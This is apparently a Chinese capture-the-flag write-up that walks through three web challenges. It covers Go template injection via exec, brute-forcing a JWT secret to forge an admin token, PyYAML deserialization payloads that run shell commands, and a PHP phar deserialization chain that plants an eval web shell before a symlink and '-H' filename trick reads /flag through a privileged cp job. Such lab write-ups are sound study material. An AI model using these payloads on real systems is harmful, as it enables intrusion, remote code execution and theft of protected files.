web

ssti

go的ssti,通过fuzz,可以发现{{.}}有东西。

为go语言中上下文的一些数据内容,这里说明了两个函数,B64Decode和exec。

用法为:

{{B64Decode "bHM="}}
{{exec "ls"}}

直接 exec 执行不了,需要配合 B64Decode。

{{exec (B64Decode "Y2F0IC9mbGFn")}}

ez_python

执行文件需要admin。

随便伪造一个jwt会看到hint。

缺少末尾两位。

jwt爆破密钥。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CTF 用 — 爆破已知前缀且末尾两字符未知的 HS256 JWT 密钥
用法: python3 jwt_bruteforce.py
"""

import base64
import hmac
import hashlib
import itertools
import sys
import time

# --- 配置区 ---
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
prefix = "@o70xO$0%#qR9#"   # 你提供的已知前缀
# 选择用于枚举的字符集(可按需增减)。两位未知,组合数 = len(charset)**2
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+[]{};:,.<>/?~`\\|"

# 若你确信未知字符只为字母数字,可改为:
# charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
# --- End 配置区 ---

def b64url_encode(b: bytes) -> str:
    return base64.urlsafe_b64encode(b).decode().rstrip("=")

def b64url_decode(s: str) -> bytes:
    # 补齐并解码
    s2 = s + "=" * (-len(s) % 4)
    return base64.urlsafe_b64decode(s2)

def split_jwt(t: str):
    parts = t.split('.')
    if len(parts) != 3:
        raise ValueError("看起来不是标准三段 JWT")
    return parts[0], parts[1], parts[2]

def try_bruteforce(token, prefix, charset):
    header_b64, payload_b64, sig_b64 = split_jwt(token)
    signed_part = header_b64 + "." + payload_b64
    target_sig = sig_b64

    total = len(charset) ** 2
    tried = 0
    start = time.time()
    print(f"[+] 开始爆破,共 {total} 种组合(字符集长度 {len(charset)})")

    for a, b in itertools.product(charset, repeat=2):
        tried += 1
        secret = prefix + a + b
        mac = hmac.new(secret.encode(), signed_part.encode(), hashlib.sha256).digest()
        cand_sig = b64url_encode(mac)
        if cand_sig == target_sig:
            elapsed = time.time() - start
            print(f"\n[FOUND] 密钥: {secret}")
            print(f"[FOUND] 用时: {elapsed:.2f}s, 尝试次数: {tried}/{total}")
            # 显示 payload(解码)
            try:
                payload_bytes = b64url_decode(payload_b64)
                print("[+] Payload (utf-8):")
                print(payload_bytes.decode("utf-8", errors="replace"))
            except Exception as e:
                print("[!] 无法解码 payload:", e)
            return secret
        # 简单进度输出(每 500 次更新一次)
        if tried % 500 == 0:
            pct = tried / total * 100
            elapsed = time.time() - start
            rate = tried / max(elapsed, 1e-6)
            eta = (total - tried) / rate if rate > 0 else float("inf")
            sys.stdout.write(f"\r  进度: {tried}/{total} ({pct:.2f}%)  速率: {rate:.1f} it/s  估计剩余: {eta:.1f}s")
            sys.stdout.flush()

    print("\n[-] 爆破完成,未找到匹配密钥。")
    return None

if __name__ == "__main__":
    found = try_bruteforce(token, prefix, charset)
    if not found:
        print("提示:")
        print(" - 检查是否前缀确实正确;")
        print(" - 缩小或扩大字符集(例如只用字母数字);")
        print(" - 如果末尾可能是 unicode 或非 ascii 字符,需要把字符集调整为相应字符;")
        print(" - 也可把末尾长度改成 1/3/4 等(当前脚本固定为 2)。")

得到完整密钥:@o70xO$0%#qR9#m0

然后伪造jwt。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70

pyyaml可以打。

https://cloud.tencent.com/developer/article/2274388

!!python/object/new:os.system ["whoami"]

sleep 5秒成功。

这样打没有回显并且不出网,换payload。

!!python/object/new:eval
- "__import__('os').popen('id').read()"

得到回显。

!!python/object/new:eval
- "__import__('os').popen('cat /f*').read()"
flag{fvLbA6IEX9Q5EVZQAfN8aGbGdQc1gVKd}

easy_readfile

首先访问题目链接,获取源码

这里可以明显的看出来一个反序列化,下面的重点是关注Acheron类的作用

代码如下

class Acheron {
    public $mode;

    public function __destruct(){
        $data = $_POST[0];
        if ($this->mode == 'w') {
            waf($data);
            $filename = "/tmp/".md5(rand()).".phar";
            file_put_contents($filename, $data);
            echo $filename;
        } else if ($this->mode == 'r') {
            waf($data);
            $f = include($data);
            if($f){
                echo "It is file";
            }
            else{
                echo "You can look at the others";
            }
        }
    }
}

这里我们可以看到里面存在两个模式,一个为写入,一个为读取,其中写入的内容data是通过传参控制,以及写入的文件为phar文件,但是存在对于data参数的waf,首先是用来防止直接写入恶意的php语句,以及通过include直接打伪协议

由于上面传的1存在长度的限制,导致我们无法直接通过构造较长的反序列化流,但是发现并未禁用phar伪协议,这就意味着我们可以通过传入一个恶意的phar文件流实现反序列化或者实现任意文件包含

继续分析上面的反序列化流,这段链子简单但是最终利用应该是打原生类,通过走到Coral的set方法中实现,但是这个不如直接写入一句话木马直接

class Coral{
    public $pivot;

    public function __set($k, $value) {
        $k = $this->pivot->ctor;
        echo new $k($value);
    }
}

class Nimbus{
    public $handle;
    public $ctor;

    public function __destruct() {
        return $this->handle();
    }
    public function __call($name, $arg){
        $arg[1] = $this->handle->$name;
    }
}

class Zephyr{
    public $target;
    public $payload;
    public function __get($prop)
    {
        $this->target->$prop = $this->payload;
    }
}

下面我们通过构造恶意的phar文件,但是我们需要将文件的内容通过传参的形式赋值到生成的随机的phar文件中,这一步我们便可以通过脚本实现gz压缩生成的phar文件内容,再通过URL编码传参,这样还可以实现绕过waf的检查

首先通过php文件实现生成恶意流的phar文件

<?php
//黄色部分是可控的
highlight_file(__FILE__);
@unlink('test2.phar'); //会删除原有的test.phar文件(如果有)
$phar=new Phar('test2.phar');  //创建一个phar对象,文件名必须为phar
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php phpinfo();__HALT_COMPILER(); ?>');//写入stub
$o="aa";
$phar->setMETADATA($o);  //写入neta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

通过脚本对起进行压缩编码

import urllib.parse  # 导入URL编码/解码模块,用于处理特殊字符的转义
import gzip  # 导入GZIP压缩模块,用于数据压缩

# 以二进制读取模式打开名为'test1.phar'的文件
# 使用with语句确保文件在使用后正确关闭,避免资源泄露
with open('test2.phar', 'rb') as file:
    # 读取文件的全部内容到变量zip_file中
    # 注意:变量名zip_file可能引起误解,这里实际存储的是未压缩的PHAR文件内容
    zip_file = file.read()

# 使用gzip压缩读取的文件内容
# 压缩可以减少数据大小,便于网络传输,同时保持数据的完整性
data = gzip.compress(zip_file)

# 对压缩后的二进制数据进行URL编码
# 这一步将特殊字符转换为%后跟两位十六进制数的形式,确保数据可以安全地在URL中传输
string = urllib.parse.quote(data)

# 打印编码后的字符串
# 这个字符串可以通过HTTP请求传输,接收方需要先URL解码再GZIP解压才能恢复原始PHAR文件
print(string)

发包,将1参数改为Acheron为w模式写入

下面通过phar伪协议成功实现phpinfo

下面我们通过写入一句话木马实现rce

<?php
//黄色部分是可控的
highlight_file(__FILE__);
@unlink('test2.phar'); //会删除原有的test.phar文件(如果有)
$phar=new Phar('test2.phar');  //创建一个phar对象,文件名必须为phar
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php @eval($_POST[4]);__HALT_COMPILER(); ?>');//写入stub
$o="aa";
$phar->setMETADATA($o);  //写入neta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

下面通过上述方法成功命令执行,尝试读取flag,发现无法读取,怀疑是权限不够

我们可以先通过蚁剑连接方便终端查看

设置好参数成功连接

在根目录下查看run.sh文件时,这里每10秒通过将/var/www/html的文件cp到backup中,并且存在高权限

所以我们可以利用特殊文件名实现打断cp,最后将我们的软链接复制到backup中,读取flag

ln -s /flag flag
ls -- >> -H //创建特殊文件名
//最后cd backup
cat flag